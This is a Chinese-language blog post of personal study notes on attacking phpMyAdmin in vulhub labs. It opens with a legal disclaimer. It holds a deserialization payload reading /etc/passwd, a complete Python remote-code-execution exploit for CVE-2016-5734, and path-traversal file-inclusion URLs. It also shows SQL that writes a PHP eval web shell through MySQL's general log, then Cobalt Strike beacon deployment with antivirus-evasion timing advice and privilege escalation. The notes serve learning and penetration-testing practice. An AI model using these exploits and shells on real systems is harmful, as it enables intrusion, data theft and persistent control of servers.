简介
phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具。它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等
前置申明
本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧
本博客的所有Security 大类下的文章只能作为学习研究使用,不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络
如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)
中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。
序列化和反序列化
- 序列化:把对象转换为字节序列
- 反序列化:把字节序列恢复为原先的对象
- 各种语言都有反序列化漏洞
- 序列化即将对象转化为字节流,便于保存在文件,内存,数据库中;
- 反序列化即将字节流转化为对象也就是把数据转化为一种可逆的数据结构,再把这种可逆的数据结构转化回数据,这就是序列化与反序列化
- 看到过一个通俗的例子(可以应用到很多场景中,比如网络数据包传递接收过程之类的),买一个柜子,从北京运到上海,由于柜子形状怪异,不方便运输,先把它拆成板子再装到箱子里,邮递到家后把板子重新拼装回柜子
phpmyadmin
介绍
phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的 MySQLI的数据库管理工具,让管理者可以使用Web接口管理MSQL数据库。借由此Web接口可以成为一个简单方式输入sαL语法的较佳途径。其优势就是可以通过web界面来远程管理方便建立、修改、删除数据库及资料表
phpmyadmin测试流程
- 确认 phpmyadmin 的后台
- 如果有密码 可以用phpmyadmin 密码爆破工具
- 确定版本,信息搜集
- 漏洞利用
vulhub搭建
环境搭建
github:https://github.com/vulhub/vulhub
vulhub官网:https://vulhub.org/
利用条件
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
phpmyadmin 2.X 需要登录
Linux安装vulhub
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| curl -s https://bootstrap.pypa.io/get-pip.py | python3
curl -s https://get.docker.com/ | sh
systemctl start docker
pip install docker-compose
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master
cd /phpmyadmin/WooYun-2016-199433
docker-compose build
docker-compose up -d
docker-compose down -v
|
练习
反序列化
利用 vulhub 中的 WooYun-2016-199433 进行练习
启动
注意8080端口已开启 不冲突
1 2 3 4 5 6 7 8 9 10
| cd vulhub-master
cd phpmyadmin/WooYun-2016-199433
docker-compose build
docker-compose up -d
docker-compose down -v
|
我们访问后发现 版本是 phpMyAdmmin 2.7.1-dev 那么就可以通过关键字去搜集对应的漏洞进行复现,这就是一般的测试流程
漏洞复现
1 2
| url:http: payload: action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
|
命令执行
利用 vulhub 中的 CVE-2016-5734 进行练习
启动
注意 8080 端口已开启 不冲突
1 2 3 4 5 6 7 8 9 10
| cd vulhub-master
cd /phpmyadmin/CVE-2016-5734
docker-compose build
docker-compose up -d
docker-compose down -v
|
登录后我们可以看到 phpmyadmin 的版本信息 那么就可以去搜集对应版本的漏洞了
漏洞复现
影响版本
4.0.10.16 之前4.0.x版本
4.4.15.7 之前4.4x版本
4.6.3 之前4.6×版本
php版本: 4.3.0-5.46
php5.0 版本以上的将 preg_ replace 的/e修饰符给废弃掉了
漏洞的原理
- reg_replace漏洞触发有两个前提
- 第一个参数需要e标识符,有了它可以执行第二个参数的命令
- 第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。
背景知识
- preg_replace函数执行一个正则表达式的搜索和替换
- 在PHP5.4.7以前,preg_ replace的第—个参数可以利用\O进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞
poc 利用复现
1 2
| cd /Volumes/share/study/security python3 cve-2016-5734_rce.py -u root -p "root" http://www.security.ada:8080/ -c "system('cat /etc/passwd')"
|
python 脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
|
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7. CVE: CVE-2016-5734 Author: https://twitter.com/iamsecurity run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');" """
import requests import argparse import sys
__author__ = "@iamsecurity"
if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("url", type=str, help="URL with path to PMA") parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()") parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user") parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user") parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server") parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.") arguments = parser.parse_args() url_to_pma = arguments.url uname = arguments.user upass = arguments.pwd if arguments.dbs: db = arguments.dbs else: db = "test" token = False custom_table = False if arguments.table: custom_table = True table = arguments.table else: table = "prgpwn" if arguments.cmd: payload = arguments.cmd else: payload = "system('uname -a');"
size = 32 s = requests.Session() s.verify = False sql = '''CREATE TABLE `{0}` ( `first` varchar(10) CHARACTER SET utf8 NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500')); '''.format(table)
resp = s.post(url_to_pma + "/?lang=en", dict( pma_username=uname, pma_password=upass )) if resp.status_code is 200: token_place = resp.text.find("token=") + 6 token = resp.text[token_place:token_place + 32] if token is False: print("Cannot get valid authorization token.") sys.exit(1)
if custom_table is False: data = { "is_js_confirmed": "0", "db": db, "token": token, "pos": "0", "sql_query": sql, "sql_delimiter": ";", "show_query": "0", "fk_checks": "0", "SQL": "Go", "ajax_request": "true", "ajax_page_request": "true", } resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies)) if resp.status_code == 200: if "success" in resp.json(): if resp.json()["success"] is False: first = resp.json()["error"][resp.json()["error"].find("<code>")+6:] error = first[:first.find("</code>")] if "already exists" in error: print(error) else: print("ERROR: " + error) sys.exit(1) exploit = { "db": db, "table": table, "token": token, "goto": "sql.php", "find": "0/e\0", "replaceWith": payload, "columnIndex": "0", "useRegex": "on", "submit": "Go", "ajax_request": "true" } resp = s.post( url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies) ) if resp.status_code == 200: result = resp.json()["message"][resp.json()["message"].find("</a>")+8:] if len(result): print("result: " + result) sys.exit(0) print( "Exploit failed!\n" "Try to manually set exploit parameters like --table, --database and --token.\n" "Remember that servers with PHP version greater than 5.4.6" " is not exploitable, because of warning about null byte in regexp" ) sys.exit(1)
|
文件包含
利用 vulhub 中的 CVE-2018-12613 进行练习
启动
1 2 3 4 5 6 7 8 9 10
| cd vulhub-master
phpmyadmin/CVE-2018-12613
docker-compose build
docker-compose up -d
docker-compose down -v
|
启动后我们访问目标地址就可以看到 phpmyadmin 的版本信息 那么就可以去搜集对应版本的漏洞了
漏洞复现
影响版本
phpMyAdmin 4.8.0 和 4.8.1
漏洞描述
https://blog.csdn.net/weixin_43872099/article/details/104128639
文件包含利用
Session 包含
普通日志文件包含
插入sql语句后包含
把php函数写到日志中,然后通过 session 包含日志 执行显示phpinfo
1 2 3
| SELECT <?=phpinfo()?> http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../etc/passwd http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_f2e93353d686dc3808f0f8da15929df4
|
phpStudy获取shell
eval 宝塔会进行拦截 assert
写入shell
进入后台
phpmyadmin 的默认账户密码都是 root 如果不对可以用 phpmyadmin 的爆破工具进行爆破
获取日志路径及状态
1
| SHOW VARIABLES LIKE '%general%';
|
修改日志路径及状态
此步骤是为了开启日志和修改日志的写入地址为我们自己设定的地址
1 2
| set global general_log=on; set global general_log_file='C:/phpstudy2018/PHPTutorial/WWW/shell.php';
|
写入shell
1 2
| SELECT '<?php @eval($_POST["hacker"]); ?>'; # 备用:SELECT '<?php assert($_POST["hacker"]); ?>';
|
验证shell
1 2
| Url:http: Payload:hacker= echo "----------------this is test----------------";
|
主机渗透
蚁剑连接
刚才已经能够在 HackBar 执行 echo 输出了证明是可以的,现在就用蚁剑进行连接 如果连接失败 多次尝试修改一下 php 的版本
准备工作
启动Cobalt Strike server端并连接
创建开启监听
通过PowerShell 渗透
前提条件:能通过蚁剑进入目标机器的终端执行命令
通过exe程序渗透
生成exe可执行程序
蚁剑上传exe
执行 exe
通过执行刚才生成的 artifact.exe 文件让主机上线
在测试中可以设置Sleep为 0 或者 5 这样延时更短,默认是60 在正式中最好保持60 不然程序执行过于频繁容易被监测到 触发一些杀毒的报警
提升权限
当我们接受到设备的上线 如果不是 * 号用户 也就是不是系统权限用户,那么会有很多的限制,这个时候需要进行权限的提上,获取 SYSTEM 用户的权限
演示条件:win7环境 存在 MS-14058 漏洞
elevate.cna插件下载地址:https://github.com/rsmudge/ElevateKit
Cobalt Strike 加载插件:点击左上角【Cobalt Strike】-> 【Script Manager】-> 【Load】选择刚才下载的 elevate.cna
断开连接
当测试完成后 我们需要断开监听,但是 Cobalt Strike 这边删除后还是会收到靶机的心跳,因此需要关闭靶机 刚才启动的 artifact.exe 进程